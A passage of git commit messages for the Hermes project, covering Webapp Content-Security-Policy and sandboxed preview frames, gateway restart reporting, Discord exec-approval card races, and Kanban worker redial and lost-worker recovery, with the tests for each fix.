Only a colliding block that names a DIFFERENT host is now excluded from validation and from
credential hydration; a block for the submitted host applies as before.
`::preview` widgets, HTML artifacts and file previews render in srcdoc
frames, which inherit the policy of the page that embeds them, so a
strict Webapp policy blocked their CDN libraries (why #144721 reverted
its CSP).

Serve a fixed, credential-free sandbox shell (/assets/webapp-preview.html)
with its own policy and send it the HTML in memory. Its inner frame keeps
the caller's script permission, so file previews stay inert. Previews
keep the reach they have today (any http(s) library, image, fetch,
worker or embed; inline script; string evaluation for D3's CSV parser):
their isolation is the opaque sandbox, not a source list. "Open in
browser" loads the same shell from its blob wrapper. Native Desktop keeps
its direct srcdoc frames.

Refs #144648 (WA-11)
The Webapp page sent no Content-Security-Policy; the sign-in handoff
pages do.

Restrict what may execute: the built renderer, its lazy chunks and
plugin blob modules, plus SHA-256 hashes of the trusted inline bootstrap
and theme scripts. No unrestricted inline script, string evaluation or
remote script; inline event attributes, objects, base changes, form
posts and framing are denied. Connection, image and media sources stay
open (sockets listed explicitly for older WebKit), because
provider-direct voice, catalogs, Radio, update notes and proxied sockets
reach outside the gateway. Every spelling of the entry
document (encoded dot segments, case-insensitive disks) gets the policy.

Refs #144648 (WA-11)
The Webapp page policy authorizes only the app's own inline scripts, and a
data: document inherits it, so a plugin's documented SandboxedFrame
`data:text/html` embed stopped running its script in browser tabs.

In the browser host only, SandboxedFrame now decodes HTML data: URLs and
hands the markup to a separately served guest shell
(/assets/webapp-guest.html), the same parent-messaged shell file previews
use, served with its own policy and the SDK sandbox allowlist as its
ceiling. The frame's sandbox attribute narrows that to the caller's
sanitized tokens (plus allow-scripts for the shell); the nested guest
document gets the caller's tokens exactly, so a script-less embed stays
inert and allow-same-origin can never apply. The shell relays messages
both ways, so `ref.current.contentWindow.postMessage` and
`event.source === ref.current.contentWindow` keep working, and onLoad
fires once the guest document (not the shell) has loaded. Native Desktop,
http(s) and non-HTML data: embeds keep the direct frame; the page script
policy is unchanged.

Live (built Webapp, real gateway, scratch HOME, Chromium): a SandboxedFrame
data: guest posts ready and answers a ping after onLoad on main and with
this commit; on the previous head it never ran.
Three Web Access issues found live by @dokterdok on a Mac (#144648):

- A gateway restart whose child exits at once (e.g. `run hermes pm repair`) left the pane
  waiting 90 s for a generic timeout. /api/webapp-access/status now reports
  `restart_failure` {pid, exit_code, reason}: the newest restart of that gateway exited
  nonzero, with the last line it wrote to logs/gateway-restart.log. The pane matches the
  pid its restart answered and says "The gateway couldn't restart: <reason>".
- /apple-touch-icon.png (the Webapp's page icon) sat behind the sign-in gate while
  /favicon.ico did not, so cookie-less icon fetches hit the auto-SSO redirect and logged
  orphan login_start entries. It joins the gate's public list, matched exactly.
- Under "My own URL", the address row kept the LAN address while the field was empty;
  before web access starts it now shows the address being chosen.

Refs #144648
Refs #144648
- The reason is read from the byte offset where that child's section starts
  (recorded with its pid at spawn), so a retry that writes its header and then
  fails to spawn no longer lends its text to the child still on record.
- The pane checks the matching restart_failure before accepting the status: a
  Stop of a web app the gateway could not serve reads as applied at once, and
  the failed restart used to go unmentioned.

Refs #144648
The root icons /apple-touch-icon.png and /favicon.ico answer without sign-in, but
is_static_asset_path() only knew directory prefixes, so a missing icon (or one
symlinked outside the dist) fell through to _serve_index() and returned the SPA
shell as 200 text/html to an anonymous request. Treat both exact names as static
assets so a miss is a 404.

Refs #144648
The desktop half of a unified package only reached desktop-plugins/ when
native Desktop copied it there (reconcileUnifiedDesktopHalves in Electron).
A host that Desktop only reaches over SSH never ran that copy, so the
Webapp never showed those halves.

hermes_cli/desktop_plugin_halves.py ports the reconcile with Electron's
on-disk contract: the same marker fields, first home wins, adoption of a
byte-equal marker-less copy, a byte compare for linked checkouts, staged
publication, and a prune only when the source is really gone. The Webapp
runs it where Electron does: when the loader asks for the root, and on
demand through POST /api/desktop-plugins/reconcile, which the browser
bridge's reconcileDesktopPlugins now calls after an install.

Closes #145540
Electron writes the marker's sourceMtimeMs as Node's Stats.mtimeMs
(seconds * 1e3 + nanoseconds / 1e6). st_mtime_ns / 1e6 lands one ulp
away for many timestamps, so on a host that runs native Desktop too each
writer could read the other's marker as stale and re-copy the half.
One test follows a package from install through update to uninstall and
checks the prune leaves a standalone plugin alone; the other pins that a
user's own plugin is never overwritten and the default home wins.
A marker with the right source but a non-numeric sourceMtimeMs (hand-edited, truncated) made
the staleness comparison raise TypeError outside the per-package OSError guard, so
/api/desktop-plugins/root returned 500 and the browser loaded no disk plugin at all. The
timestamp is now validated on read and an invalid one marks the copy stale, so the next pass
re-copies it and every other plugin keeps loading. (Greptile P2 on #145853.)
A sandbox launcher can withhold a profile's .env from the backend it runs,
pass the keys it allows in as environment variables and pin
terminal.backend through managed scope. On Windows the withheld file still
exists, so load_hermes_dotenv read it and the PermissionError stopped every
Hermes process at import.

- While managed scope pins a non-empty terminal.backend, a present but
  unreadable profile .env loads as absent: nothing is applied from it, the
  inherited keys a readable .env would clear stay, and a warning names the
  file once per process. Without that pin the PermissionError propagates as
  before: the file may be the only place the backend is set.
- reload_env() removes no known keys while the .env exists but cannot be
  read, so /reload keeps the keys the launcher passed in.
- The project .env only fills gaps whenever the profile .env exists, read
  or not, so it cannot replace the launcher's keys.

managed_scope.pinned_terminal_backend() decides the pin. The fix that
applies managed scope to the per-turn terminal scope adds the identical
helper, so either change can land first.
load_config() lays the managed config over the profile's config.yaml, so a
backend pinned under terminal.backend wins in the standalone bridge.
build_profile_terminal_scope read only the defaults, the profile .env, the
launch overlay and the profile config.yaml, so every terminal scope built
from it (session create and refresh, routed gateway turns, cron,
delegation) ran the profile's own backend.

- The managed terminal: mapping applies last, merged into the profile's
  mapping with _deep_merge as load_config() merges it, so a managed
  docker_env entry keeps the profile's other entries. A null managed value
  pins nothing.
- A present but unreadable profile .env still refuses the scope unless
  managed scope pins a non-empty terminal.backend, as a sandbox launcher
  that withholds the file does. The file then reads as empty.

managed_scope.pinned_terminal_backend() decides the pin. The fix for an
unreadable .env at startup adds the identical helper, so either change can
land first.
(cherry picked from commit 2c23df82fa10c9ce0ae0b1197f825040d3d53f7d)
(cherry picked from commit 673bef4644130f5a57f77d41ea729b2a7eea6bcf)
(cherry picked from commit 47d6be7ebac3cdff501edfd1bb151700ed2d5e0b)
(cherry picked from commit a9825f5f1f65930d82497559fe212d857b0e3030)
Three defects in kvnloo's re-confirm of a stale-target edit retry, the
first two reproduced with the real session-state cache.

1. Accepting an unchanged dialog cancelled the edit. After the refresh,
   the consent check compared currentMessages(sessionId), the slice,
   against $messages, a separate mirror array. They are never the same
   reference, so every accept looked like the transcript had changed and
   the edit was dropped. The check now reads the slice before and after
   the dialog.

2. A cancel restored the pre-edit snapshot over the refreshed history.
   That brought back obsolete row ids and erased later turns that arrived
   or were loaded. Nothing is cut server-side at that point, and the
   refresh already replaced the optimistic edit, so a cancel now only
   drops the busy arm and keeps the session's current messages.
   rollBackEdit's history argument is optional for this case.

3. The re-confirm returned 'cancelled' and left the cleanup to runEdit.
   That extra branch put runEdit at CC 21, over the code-health cap of
   20. retryStaleEdit now cleans up itself and returns 'done' for both
   outcomes, so runEdit keeps its single early return.

rollBackEdit also clears the foreground busy flags only when the session
is still the one on screen, so answering after a switch cannot un-busy
the other session.

The accept/decline test uses separate slice and mirror arrays, as the
cache does, and covers a declined second dialog. Reverting any of the
fixes turns it red.
The retry's second confirm was a hand-written copy of what
planEditAfterConfirm already does:
- plan the edit;
- confirm when it cuts later turns;
- re-check that the session is still on screen;
- re-aim the plan at the current transcript by content.

The copy's stale check also compared arrays from two stores. The retry
now calls planEditAfterConfirm with the refreshed transcript. When
retryKeepsDeepConfirm holds (the refresh shows no more later turns than
the user answered for), the user's earlier answer is passed as
answeredFor, so no second dialog is asked. A null or 'moved' result
drops the busy state and keeps the refreshed history. The
retryKeepsDeepConfirm docstring now says the retry asks again.

The accept/decline test gains a case where the session switches during
the second dialog. Nothing is sent, and the foreground busy flag stays
with the session now on screen. Removing the ownership check or the
active-session guard in rollBackEdit turns it red.
If the edited turn moves while an accepted second confirm is open, the
retry now shows the same warning runEdit shows. If the resume rebinds
the runtime, it now returns 'unavailable', so runEdit reports the turn
unavailable instead of dropping the edit silently. A plain decline
stays silent. Each new test case goes red when its fix is reverted.
The harness's updateSessionState read a private stateRef that the mocked
resume never updated, so 'messages is not the seed' passed even when the
refreshed turns were lost.

The harness now exposes replaceSessionMessages, which does what a real
resume does to the session slice, and the cancel cases assert ids and row
ids exactly:
- decline and session switch keep the refreshed history;
- a turn that grew while the dialog was open keeps the grown one.

Rolling back to the pre-refresh snapshot fails three of the four cases.
Rolling back to the refreshed history, which drops the turn that grew
while the dialog was open, fails the moved case.
rollBackEdit cleared the foreground busy flags only while the edited
runtime was still the active one. A submit that finds its runtime gone
resumes the stored session under a new runtime id and moves the active
session to it, so when the resent submit then failed (a generation
error, or a stale target reported unavailable) the composer stayed busy
and awaiting a response. Main clears them unconditionally.

The ownership check now applies only where it is needed: a stale-target
retry whose second confirm was answered after the user switched to
another session. rollBackEdit takes that as an explicit ownsForeground
argument, and runEdit's failure path clears the flags as before.

The new cases recover the runtime, fail the resent submit, and assert
the composer is idle. Both fail without this change.
A stale-target retry that sends nothing (the second confirm declined,
answered after a switch, or the edited turn moved) kept whatever
history the session held, on the grounds that the refresh had already
replaced the optimistic edit. The refresh only runs when there is a
stored session to resume. Without one the session still showed the
optimistic, cut-down timeline with the unsent edit, and before this
series the failure path restored the original history.

retryStaleEdit now restores the pre-edit history when it had nothing to
refresh from, and keeps the refreshed one otherwise. The new case runs
the retry with no stored session and a slice that carries the
optimistic edit, as the real cache does; it fails without this change.
The fallback retries without confirm_deep_truncate only when the error
is a JsonRpcGatewayError with code 4000, the submit carried the field,
and the message starts with the backend's admission prefix for it. The
one negative case named a different field, so dropping the code check,
the in-params check or the exact prefix all stayed green.

Three cases now cover them: the same message under another code, a 4000
that only mentions the field, and a submit that never sent it. Each
condition, removed on its own, fails its case.
runRewindSubmit sent confirm_deep_truncate again on every later send of
the same submit. On a backend that predates the field, a deep cut that
met a busy session (retried every 150 ms for up to 6 s) or a resumed
runtime paid one rejected round trip before each real attempt, roughly
doubling the prompt.submit calls.

The first rejection now sets a flag in runRewindSubmit's scope and later
sends leave the field out, so an older backend costs one extra call per
user action. Nothing is cached across submits: a backend upgraded while
Desktop runs is asked again on the next one.

The new case rejects the field, answers busy, then accepts, and checks
the third submit has no confirm_deep_truncate; it fails without the flag.
The regenerate-after-switch case only checked that nothing was sent,
which also holds when the reload returns before asking. It now asserts
the one confirm was shown.

Formatting only otherwise (prettier and blank lines on test lines added
earlier in this PR).
When the second deep confirm of a stale-target retry was declined, or
accepted after the edited turn moved, the retry rolled its busy arm back
unconditionally: busy, awaitingResponse, turnLive and the turn clock on
the session, and the foreground flags. If another window or a queued
follow-up had started a turn in the same session while the dialog was
open, that turn was shown idle while it ran. The moved case is exactly
when a newer user turn landed, so it is the likely one.

The edit's own optimistic arm never sets turnLive, and the backend
sets it only for a turn it accepted. When the session shows turnLive by
the time the retry gives up, it now leaves the session's flags and
transcript to that turn.

The new cases start a live turn while the second dialog is open, then
decline or accept a moved plan, and check the busy flags survive. Both
fail without this change.
A stale button click that resolves zero gateway approvals must not mark the backend settled and suppress the already queued resolved observer. Cover the external-answer to stale-click race through the real component gate.
The runner tunnelled the approval request id to Discord as a private
`_approval_request_id` key inside the platform metadata dict. That dict
goes to every adapter that renders approval buttons. The relay adapter
forwards it verbatim, so the private key reached the external connector
in every approval prompt frame.

Add an optional `request_id` to `send_exec_approval` and to
`ExecApprovalPrompt`, have the runner pass `approval_data["request_id"]`,
and have Discord read `prompt.request_id`. The metadata passed to the
adapters is back to the thread routing it carried before the PR (`None`
in a plain chat). The always-true `"timeout_s" in approval_data` guard
goes with it.

Native-button adapters render through `_send_exec_approval_prompt`,
whose signature is unchanged. The only `send_exec_approval` override,
`LocalSessionAdapter`, takes `**kwargs`, as does every test double, so
no other adapter or double changes.
The card registered its settle observer only after `channel.send`
returned. If the request ended during the send (wait timed out, /stop,
session closed, withdrawn), the registration found no entry and the card
retired with the default reason "resolved". The card then said "This
approval has already been resolved" for a command that never ran.

Build the view first and register the observer before sending. A reason
that arrives while the card is still in flight is held on the view
(`pending_retire`) and applied as soon as the card exists. Only a
request that was already gone before the card was built still has an
unknown outcome. That card now says "⌛ This approval is no longer
pending (it timed out or was answered elsewhere)", a new outcome-neutral
string, translated in every locale. It no longer claims either
"resolved" or "not run".

Building the view outside `_build` also removes the `view_holder` list
that only existed to get the view back out. The view never depended on
the channel.

The test now covers the three orderings (after, during, before the send)
and asserts the footer. Two of them fail on the previous commit.
Raising the `discord_prompt_timeout` cap to the platform-safe maximum
makes a gap much larger. Slash-confirm, update and clarify views never
called `stop()` when answered; only exec approvals did. discord.py keeps
an unfinished view registered after the answering edit, and its timeout
task sleeps until expiry with no upper bound.

So every answered prompt stayed registered for the whole configured
timeout, now up to a year. When the timeout finally fired, the base
`on_timeout` stamped "Prompt expired — no action taken" over "Approved
by X". The overwrite already happened on main within 900 s; the higher
cap only delays it.

`_finalize_embed` (slash confirm, update, exec approval) and the clarify
`_finish` now stop the view in a `finally`, after the answering edit, so
an edit failure still releases it. The exec view's own `finally: stop()`
is now covered by `_finalize_embed` and goes away.

New parity test: an authorized answer on each of the three views (and
the clarify "Other" hand-off) leaves the view finished. All four cases
fail on the previous commit. Exec cards stay covered by
test_discord_approval_lifecycle.
The salvaged change captures `approvals.timeout` once per prompt and uses
that value for the leader's wait and its timeout notice. Followers that
coalesce onto the same pending approval still re-read the live config.
If the value was lowered while the leader waited, a follower gave up
before the prompt it was waiting on expired.

Pass `leader.data["timeout_s"]` to the follower's `_poll_event`. When the
leader hasn't stamped it yet, `None` keeps today's live-config fallback.
Item 1 of the review is only partly fixed by the stale-click commit
before this one. Clearing `_backend_settled` lets the settle observer
retire the card, but the click still edited the same card with
"Approval expired — command was not run" through its own interaction
response. Nothing serializes that edit with the observer's. If the
click's edit lands last, it hides the real outcome and reattaches the
disabled controls. Discord serializes the interaction payload before
awaiting the response, so a later embed change can't repair it.

When a click on a card with a request id resolves nothing, that request
has already settled through another path. Since the earlier commits, its
observer is always registered (it is registered before the send, and a
request gone before that already retires the card). So the click now
only answers the clicker privately ("no longer pending") and leaves the
card edit to the observer.

A click whose lookup raises recorded nothing, and its request may still
be pending. It used to stamp the card "expired — not run" and disable it
for good, and that edit could race the observer too. Now it re-opens the
card for a retry, tells only the clicker ("Couldn't record your choice.
Click again, or answer with /approve or /deny." — a new string in every
locale), and leaves the final edit to the observer. A card without a
request id has no observer, so its no-op click keeps the old "expired"
edit.

Tests:
- The stale-click regression now asserts that the click never edits the
  card. It fails on the previous commit.
- A new test drives a failed lookup on a really pending request with its
  observer attached: the card stays live, and a later text answer
  retires it with the real outcome.
- A third test pins the expired edit on a card with no request id.
adapter.py was already far past the 2,000-line limit, and this stack
grew it from 7,414 to 7,512 lines. AGENTS.md lets a unit that is
already over the limit only shrink. The file's FILE_LINES allowance
covers an earlier platform-table move, not the approval code.

ExecApprovalView now lives in adapter_exec_approval_view.py. Its body
moved verbatim: build_exec_approval_view(discord, base, unauthorized=...)
returns the class, and _define_discord_view_classes assigns it to the
same module global as before. The one change inside the body: the
failed-lookup log now carries its traceback (exc_info=True), which the
health check requires of a catch-all in a new file. A builder is needed because discord.py
can be installed lazily after the adapter is imported, and the other
views are defined the same way. adapter.py ends at 7,374 lines, 40 below
main.
When a click records the answer but Discord rejects the interaction
edit, the view was stopped but the card kept its pending embed and
dead buttons. The settle observer skips cards whose click owns the
edit, because `_backend_settled` was already set.

Now a failed edit after a recorded answer clears `_backend_settled` and
retires the card through its message: buttons removed, "already
resolved" footer. The retire runs under the same lock as the
observer's, so only one of them edits. The edit error is still raised,
as before. A failed edit on a no-op click (nothing recorded) is
unchanged.

Tests:
- The edit-failure case of test_click_stops_view_even_if_interaction_edit_fails
  now asserts the card is retired.
- A new test fires the observer during the failing edit (the usual
  order, since the waiter wakes before Discord answers). The observer
  skips, and the click's own retire stamps the card.

Both fail on the previous commit. The new test also fails with only
the retire call removed.

Reported by Greptile on #145948.
The leader entered the shared queue, ran its pre-request hooks, and
only then stamped `timeout_s` on its entry. A follower that found the
leader in that gap fell back to the live config. If the timeout had
since gone up, the follower gave up before the leader's card did.

The timeout is now captured once, when the entry is created, before it
is published. The leader's own wait and every follower use that value.
`_get_approval_timeout` never raises, so moving it out of the
notify-failure try changes nothing else.

New test: the entry already carries the timeout when the leader's
pre_approval_request hook runs. It fails on the previous commit.

Reported by Greptile on #145948.
工具调用错误摘要此前走 pretty linkify 管道:裸域名分支把 README.md
这类文件名当作主机名造出 https://readme.md 链接,pretty 链接再用抓取
到的页面标题替换显示文本,导致渲染出的错误标题与原始错误字符串
不一致(#137994)。

改为仅对显式 http(s)/www. URL 做链接且原样渲染文本,与 system-message
的既有先例一致;新增渲染回归测试覆盖文件名 token 与显式 URL 两种情况。
EXPLICIT_URL_RE accepted `www.` anywhere, so /tmp/www.config and
C:\Users\...\www.config still became https://www.config links in tool
errors and system messages. Require that `www.` not continue a path or word.
Covers a Windows CODEX_PROGRESS.md path and www.-prefixed local paths, and
asserts window.hermesDesktop.fetchLinkTitle is never called for filename or
explicit-URL errors.
A Kanban worker's submitter client turned a mid-turn transport loss into exit 1: the
poll on `prompt.receipt` raised `GatewayClientError`, the retry loop caught only
`GatewayUnavailableError`, and `_submit`'s `(KeyError, ValueError, OSError)` catch
swallowed it as a plain refusal. The owner's `_watch_submitter` then saw the submitter
pid gone and ended the in-flight turn with `os._exit(1)`, so the card was booked
`crashed` with no `worker_result`. On one host: 93 such runs, 80 already admitted and
bound, 0 with a result.

The admission id and session id are the durable handle: the owner keeps the admission
across connections and still answers `prompt.receipt`. Keep them, redial, and re-read
the same attempt instead of resubmitting it; bound the redials with `OWNER_WAIT_S` so a
gone owner still fails honestly. A `runtime_draining` refusal is retried in the same
loop, since nothing was submitted.

Refs #145062
Follow-up to the two salvaged redial changes. Review against a real owner (gateway.run with
a faked model) showed the premise holds: after a dropped socket, a new connection's
prompt.receipt returns the live receipt, and a repeated kanban.run for the same attempt (one
request id per card run) returns the same session and admission with one turn. Three gaps
remained:

- Dial failures during recovery still ended the worker, and the owner then killed the turn:
  a refused connection ("Gateway connection failed"), a bootstrap identity change or
  timeout during a restart, and a raw OSError from the ticket fetch. Now every transport
  error (GatewayClientError that is not an owner refusal, ConnectionClosed, OSError,
  TimeoutError) retries.
- A socket lost while waiting for kanban.run's answer still exited 1, although the owner may
  have admitted the claim. Without an admission id the worker now asks kanban.run again.
- A runtime_draining refusal on the first connection after kanban.run answered re-called
  kanban.run through a stale local; the admission now lives in one dict the next
  connection reads, and runtime_retired (a stale connection to a retired authority) joins
  runtime_draining as a retryable owner answer.

The four overlapping pieces of state (admission, deadline, redial_deadline, progress) collapse
into that dict plus the monotonic time of the owner's last answer: the worker gives up once
the owner has been silent for OWNER_WAIT_S, and says so ("Kanban owner unreachable for 180s")
instead of claiming the owner retains the attempt (the owner ends it once this worker exits).
Retries use jittered exponential backoff (agent.retry_utils.jittered_backoff, 1 s to 8 s plus
jitter) instead of a fixed 1 s, so a gateway restart does not get every worker's redial in the
same second. _submit_claim splits into _await_receipt and _exit_code so an "unknown" verdict
is raised after the connection loop and is never retried as a transport loss.

Tests are rewritten against a clock that moves only when the client sleeps or a scripted step
advances it (the salvaged ones depended on the exact number of monotonic() calls). 9 of 10
cases fail on main; 4 fail on the salvaged head (the dial failures, the lost kanban.run
answer, and the honest give-up message).

The owner-recovery probe (tests/gateway/fixtures/kanban_recovery_probe.py) now waits for the
worker to exit before stopping its owner. A worker still polling when the owner stops now
redials instead of exiting, and that redial starts a replacement owner, as a client's first
dial does. Under the probe's strace -f, that replacement kept the traced worker tree alive past
the probe's deadline.

Not changed: a graceful gateway restart still interrupts the turn (#144397); the worker now
reads that interrupted verdict instead of failing the redial.
Review folds on the worker-client recovery:

- A restart race reaches the worker in three more shapes, and each ended the admitted attempt:
  discovery reports the owner "inaccessible" when its control socket resets, half-answers or
  refuses a stale instance (GatewayUnavailableError, which carried only the state, not the
  reason); the ticket fetch raises DiscoveryError (a ValueError) when a replaced owner refuses
  a stale instance; and websockets raises a handshake error (InvalidMessage/InvalidStatus)
  when the owner closes during the upgrade. GatewayUnavailableError now carries discovery's
  reason_code, and the worker retries the restart reasons (invalid_control_peer,
  incomplete_control_response, invalid_control_response) while unsafe control nodes, a
  refused authorization, a bad pointer or a failed start still fail at once. The transport tuple takes
  WebSocketException (the base of ConnectionClosed), as the other gateway callers in
  hermes_cli do.
- The give-up message measured nothing: it said "unreachable for 180s" after a kanban.run that
  waited out its ~780 s admission budget on a reachable owner, with an empty TimeoutError text.
  It now says how long the owner was silent and names the error (our own messages in full; a
  websockets error by type and HTTP status only, since it can embed a remote body; a
  DiscoveryError is re-raised as itself, reason and repair command included).
- The first redial waits 1-2 s instead of 1-1.5 s (full-width jitter): when an owner dies,
  every worker redials at once and each that finds it absent starts a replacement.
- The claim state is a small _Claim dataclass instead of a dict keyed by name; the module
  comment no longer says nothing is ever submitted twice.

Tests: a reset or half-answering control socket, an owner replaced mid-redial, a failed handshake, and
runtime_retired / runtime_draining from prompt.receipt after admission all resume the
attempt; a refused authorization and unsafe control permissions still fail at once; the real
connect_gateway carries discovery's reason; a refused handshake's give-up names its status;
redials that connect but never get an answer still end at OWNER_WAIT_S (the salvaged
repeated-disconnect case, which the first follow-up's rewrite had dropped).
Each fails when its rule is removed.
Final-head review folds:

- connect_gateway now turns a DiscoveryError from the ticket fetch into the "inaccessible"
  GatewayUnavailableError that discovery already returns for the same control-socket refusal
  (with reason_code, reason and repair detail). The worker no longer imports DiscoveryError or
  needs a second except arm that matched one reason set against two attributes, and other
  connect_gateway callers (the chat command) get a clean error instead of a raw traceback.
- kanban_worker_client.run has one except arm. _restartable() decides whether an error is the
  owner's own final answer (an RPC refusal other than runtime_draining/runtime_retired, or an
  unavailable owner that is neither draining/starting nor showing a restart reason); everything
  else is retried. Giving up after OWNER_WAIT_S now gives the same "Kanban owner silent for Ns"
  message whichever restart shape came last.
- The backoff comment describes what jittered_backoff does (1-2 s first, up to 16 s).

Tests: the 180 s give-up holds for every restart shape that never clears (refused dial, starting
owner, reset control socket, draining authority); a refused ticket reads as the inaccessible
verdict through the real connect_gateway. Removing the deadline, the RPC refusal rule, the
restart reasons or the ticket mapping each fails a test.
A managed worker that dies in the worker.adopt handshake writes no
worker_bound/worker_result: the gateway logged "Managed worker lost" and
returned, nothing failed the run, and the card said "running" for 49
minutes on a corpse (2026-10-22, t_f5fad63f, run 730: claim_expires 2067 s
past, last_heartbeat_at NULL, consecutive_failures 0).

D1 detection without disposition: gateway/session_kanban.record_worker_loss
writes a run-scoped worker_lost event on the board (dropped when the card
moved past that run) and session_managed_worker calls it on every loss
except a deliberate stop / stale generation.

D2 an elapsed claim lock read as "still running":
- owner_attempt_provably_over treats a SETTLED owner admission as proof the
  attempt ended, instead of demanding the owner PROCESS be gone (the owner
  is the live gateway, alive by design) - the reason every reclaim path
  declined for 49 minutes;
- the reclaim's kill step reads a bare OSError on an absent pid as Windows
  does (WinError 87), so "already gone" no longer means "termination not
  proven";
- reclaims/reaps name the loss in the run error via owner_attempt_note;
- a loss charges consecutive_failures like any other crash (A3), so the
  failure_limit breaker covers this class.

D3 adopt handshake budget: 60 s default, HERMES_WORKER_RPC_OPEN_TIMEOUT
override, and a TimeoutError is retried with backoff (auth/protocol errors
never are).

Tests: tests/hermes_cli/test_kanban_managed_worker_loss.py (A1-A3, D1
write side, kill-step semantics) and tests/agent/test_worker_rpc_adopt_timeout.py
(A4). 16 passed under the production interpreter.
The salvaged commit raised the managed worker's owner-link open timeout from 5 s to 60 s
(with a HERMES_WORKER_RPC_OPEN_TIMEOUT override) and retried a timed-out handshake three
times. Those retries cannot succeed against a real owner: WorkerRPC._connection mints ONE
worker-adoption ticket and every attempt resent it, while the gateway's bootstrap tickets
are single-use and expire after 30 s (gateway/runtime_bootstrap.py TTL_SECONDS, redeem()
deletes the entry). An attempt past 30 s, or any retry, is refused, and the same path
serves every idle redial during a turn, so a failing redial now took about 3 minutes
instead of 5 s while holding WorkerRPC.lock. The env knob also went against the
repo's no-new-HERMES_*-config rule.

The lost-worker disposition (worker_lost event, settled-admission reclaim) does not depend
on the handshake budget: a worker that dies in worker.adopt is now booked within one tick
either way. Sizing the handshake needs a fresh ticket per attempt and a budget within the
ticket TTL, which is its own change.
Two narrowings of the salvaged settled-admission reclaim in owner_attempt_provably_over:

- Restore main's early return for a run with a worker_bound event. The salvage removed it, so
  once the claim expired, release_stale_claims (which runs before the crash sweep in a tick)
  booked a bound run "reclaimed" and ignored its interpreter's own exit: a rate-limited exit
  went from rate_limited with no failure charged to reclaimed with one charged, and an rc=0
  protocol violation lost its corrective message and streak. The worker this PR is about dies
  in worker.adopt, before it binds, so it never needed the bound path.
- A settled admission proves the attempt over inside the claim's TTL only when at least one
  worker pid was recorded and all are dead. With no pid recorded yet (the dispatcher records it
  after spawn returns) it still needs the lapsed claim, as the docstring already promised.

Also: _admission_row now swallows the TypeError/ValueError a malformed receipt raises (a None
or relative db path), so the try blocks around two of its callers were dead and are gone; the
docstrings lose the incident narrative.

Tests: a bound run behind a settled admission stays running and is not reclaimed; a settled
admission with no recorded pid inside the TTL holds the pause.
_apply_attempt_note cleared the in-memory protocol_violation flag when the owner had recorded
worker_lost, but the payload _classify_dead_worker built still carried protocol_violation: true
and the event kind stayed protocol_violation. _reclaim_dead_workers persists exactly those, and
_protocol_violation_streak reads them back, so one lost worker was charged to the failure
breaker AND the protocol-violation streak (reported on the original PR by an automated
review, confirmed with a real board: metadata protocol_violation true, streak 1, cf 1).

The fold now drops the marker from the payload, books the event as crashed (with the exit_kind
the other crash payloads carry), and leaves rate_limited and the exit kind alone instead of
forcing rate_limited off and inventing a "worker_lost" exit_kind that the worker_exited hook
does not document.

Also drops the write-only already_gone key from the kill step and a POSIX-vacuous test of it
(on POSIX an absent pid takes the existing ProcessLookupError branch; the signal-seam test
covers the OSError re-ask on every platform).
The salvaged handler awaited the worker_lost board write (a fresh connection plus BEGIN
IMMEDIATE on the cross-profile board, minutes of busy retries at worst) first in
execute_managed's except arm, with nothing after it guarded: a contended board delayed
settling the admission without bound, and a cancellation during the wait (a drain) skipped
lose_admission_worker and left the admission started.

The order stays (the note must land first: the submitter exits on the settled 'unknown' and the
crash sweep then books the bound interpreter, so a later write is dropped and an exit-0
worker_result reads as a protocol violation), but _settle_lost now waits for the note at most
LOSS_RECORD_WAIT_S (10 s; the write carries on as a tracked mutation, which retirement joins)
and settles in a finally, so a cancellation during the wait still settles. On the
pre-reservation path nothing is bound and the drain settles the admission itself, so the note is
not waited for there. record_worker_loss's policy parse moved inside its try, so it really
never raises; a cancellation is skipped by type, not by matching the class name as a reason
string.

Tests, through the real execute_managed with a lost child: the note lands before the
settlement even when the write is slower; a cancellation while the board write is held still
settles the admission 'unknown'. Each fails on the matching mutation (no wait; no finally).
Also the wiring through _record_lost_attempt (a Stop, a superseded generation and a
cancellation record nothing; a real loss records one event the next tick books), and the
superseded-run drop proves a write happens before it proves one is dropped.
The salvage grew kanban_db.py and kanban_db_dispatch.py past their line caps and waived both.
The owner-evidence code now lives beside the rest of it in kanban_owner_recovery.py:
reclaim_error() builds the stale-lock run error (and the failure record) with the owner's note,
and apply_attempt_note() is the crash sweep's fold. The kill step's OSError re-ask replaces the
separate ProcessLookupError branch (ProcessLookupError is an OSError, and an absent pid reads
not-alive either way). Both facades end at or below their line count on main, so the waivers go.

The reclaim payload no longer repeats the note as attempt_note; the run error carries it.

The new test module's docstrings lose the incident narrative (dates, card and run ids).
Review folds on the lost-worker salvage:

- apply_attempt_note replaced the whole error text of a clean exit after a lost managed
  execution, dropping the "Worker's last output" that _classify_dead_worker appends for the
  retry worker. It now swaps only the protocol-violation preamble and reads worker_lost once
  (owner_attempt_note takes it). Since that error now quotes the worker's own output, which
  may say anything, the protocol-violation streak's text fallback skips runs carrying
  worker_lost metadata. The docstring named the wrong shape: a worker that dies in
  worker.adopt exits 1 (no worker_result), so the case is a bound interpreter whose
  worker_result says exit 0. The owner's note now goes before the worker's output, so the
  500-character cap on the stored error cuts the output, not the note.
- The reclaim kill step's OSError re-check reads the spawn fingerprint (_worker_alive), not the
  bare pid, as the step's other liveness checks do.
- owner_reclaim_paused: sqlite3.Error can no longer reach its except (the ledger open moved
  into _admission_row); one except tuple, TypeError included like _admission_row.

Tests: the kill step is pinned both ways (a live worker refusing the signal is not
terminated); the "live gateway owner" fence test really has a live owner pid; the lapsed-claim
cases each assert their own outcome and note; a clean exit after a loss carries no
protocol-violation preamble even when its own output says "protocol violation", and its
streak stays 0.
Final-head review folds:

- _protocol_violation_streak's legacy text match now reads only the error head, before
  WORKER_OUTPUT_SEP (" Worker's last output: ", now one named constant shared by the writer,
  the streak and apply_attempt_note). Every crash quotes the worker's output, and a retry worker is shown
  the previous attempt's protocol-violation error, so an ordinary crash that echoed the phrase
  lengthened the streak. That drops the worker_lost-only exception added earlier.
- website/docs kanban.md said resolving an unknown admission "does not authorize another Kanban
  attempt". On this branch an unbound run whose owner settled the admission is released once its
  recorded pids are dead (or, with none recorded, once the claim expires): booked crashed, or
  reclaimed if the claim had lapsed, so the card can be retried. The paragraph and owner_reclaim_paused's comment now say so.
- owner_attempt_provably_over's docstring drops the incident count and its outdated premise
  (only killed owners), and the lapsed-claim comment matches the code.
- record_worker_loss reads policy.kanban_json directly: its policy is always a LocalSessionPolicy.

Test: a crash whose output quotes "protocol violation" leaves the streak at 0 (fails with the
whole-error match).
Mechanism: the probe's daemon runs in a fresh HERMES_HOME with no models.dev disk cache. Its first
